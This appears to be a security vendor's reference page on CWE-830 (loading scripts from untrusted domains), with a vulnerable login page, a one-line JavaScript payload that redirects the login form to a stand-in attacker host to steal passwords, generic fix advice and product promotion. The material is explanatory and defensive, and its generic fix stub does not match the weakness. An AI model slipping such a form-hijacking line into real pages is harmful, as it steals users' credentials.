CWE-830 Variant Incomplete

Inclusion of Web Functionality from an Untrusted Source

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your…

Definition

What is CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.
Incorporating third-party web functionality, such as JavaScript widgets or analytics scripts, is a common practice but introduces significant risk. The core issue is that code loaded via tags like `` executes with the same privileges as your own application. This means the external code can read sensitive data like user cookies, session tokens, and the entire DOM, effectively bypassing the browser's same-origin policy for your site. Even if you trust the source provider, your application remains vulnerable if that provider's infrastructure is compromised or if the code is altered during delivery (a supply-chain attack). Developers might not always be fully aware of all the external dependencies their application relies on, making this a subtle but widespread issue in modern web mashups and integrated services.
Real-world impact

Real-world CVEs caused by CWE-830

No public CVE references are linked to this CWE in MITRE's catalog yet.

How attackers exploit it

Step-by-step attacker path

  1. 1

    This login webpage includes a weather widget from an external website:

  2. 2

    This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

  3. 3

    For example, user login information could easily be stolen with a single line added to weatherwidget.js:

  4. 4

    This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Vulnerable code example

Vulnerable HTML

This login webpage includes a weather widget from an external website:

Vulnerable HTML 
<div class="header"> Welcome!
  	<div id="loginBox">Please Login:
  		<form id ="loginForm" name="loginForm" action="login.php" method="post">
  		Username: <input type="text" name="username" />
  		<br/>
  		Password: <input type="password" name="password" />
  		<input type="submit" value="Login" />
  		</form>
  	</div>
  	<div id="WeatherWidget">
  		<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  	</div>
  </div>
Attacker payload

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Attacker payload JavaScript 
```
...Weather widget code....* 
  document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Secure code example

Secure pseudo

Secure pseudo 
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Prevention checklist

How to prevent CWE-830

  • Architecture Use safe-by-default frameworks and APIs that prevent the unsafe pattern from being expressible.
  • Implementation Validate input at trust boundaries; use allowlists, not denylists.
  • Implementation Apply the principle of least privilege to credentials, file paths, and runtime permissions.
  • Testing Cover this weakness in CI: SAST rules + targeted unit tests for the data flow.
  • Operation Monitor logs for the runtime signals listed in the next section.
Detection signals

How to detect CWE-830

SAST High

Run static analysis (SAST) on the codebase looking for the unsafe pattern in the data flow.

DAST Moderate

Run dynamic application security testing against the live endpoint.

Runtime Moderate

Watch runtime logs for unusual exception traces, malformed input, or authorization bypass attempts.

Code review Moderate

Code review: flag any new code that handles input from this surface without using the validated framework helpers.

Plexicus auto-fix

Plexicus auto-detects CWE-830 and opens a fix PR in under 60 seconds.

Codex Remedium scans every commit, identifies this exact weakness, and ships a reviewer-ready pull request with the patch. No tickets. No hand-offs.

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Frequently asked questions

Frequently asked questions

What is CWE-830?

This vulnerability occurs when a web application directly imports and executes functionality, like a widget or script, from an external, untrusted domain. Because the imported code runs within your application's own security context (origin), it gains the same level of access to user data and the DOM as your own code, potentially giving the third party full control.

How serious is CWE-830?

MITRE has not published a likelihood-of-exploit rating for this weakness. Treat it as medium-impact until your threat model proves otherwise.

What languages or platforms are affected by CWE-830?

MITRE has not specified affected platforms for this CWE — it can apply across most application stacks.

How can I prevent CWE-830?

Use safe-by-default frameworks, validate untrusted input at trust boundaries, and apply the principle of least privilege. Cover the data-flow signature in CI with SAST.

How does Plexicus detect and fix CWE-830?

Plexicus's SAST engine matches the data-flow signature for CWE-830 on every commit. When a match is found, our Codex Remedium agent opens a fix PR with the corrected code, tests, and a one-line summary for the reviewer.

Where can I learn more about CWE-830?

MITRE publishes the canonical definition at https://cwe.mitre.org/data/definitions/830.html. You can also reference OWASP and NIST documentation for adjacent guidance.

Related weaknesses

Weaknesses related to CWE-830

CWE-829 Parent

Inclusion of Functionality from Untrusted Control Sphere

This weakness occurs when an application integrates executable code, like a library or plugin, from a source it does not fully control or…

CWE-827 Sibling

Improper Control of Document Type Definition

This vulnerability occurs when an application fails to properly restrict which Document Type Definitions (DTDs) can be referenced during…

CWE-98 Sibling

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

This vulnerability occurs when a PHP application uses unvalidated or insufficiently restricted user input directly within file inclusion…

Resources

Further reading

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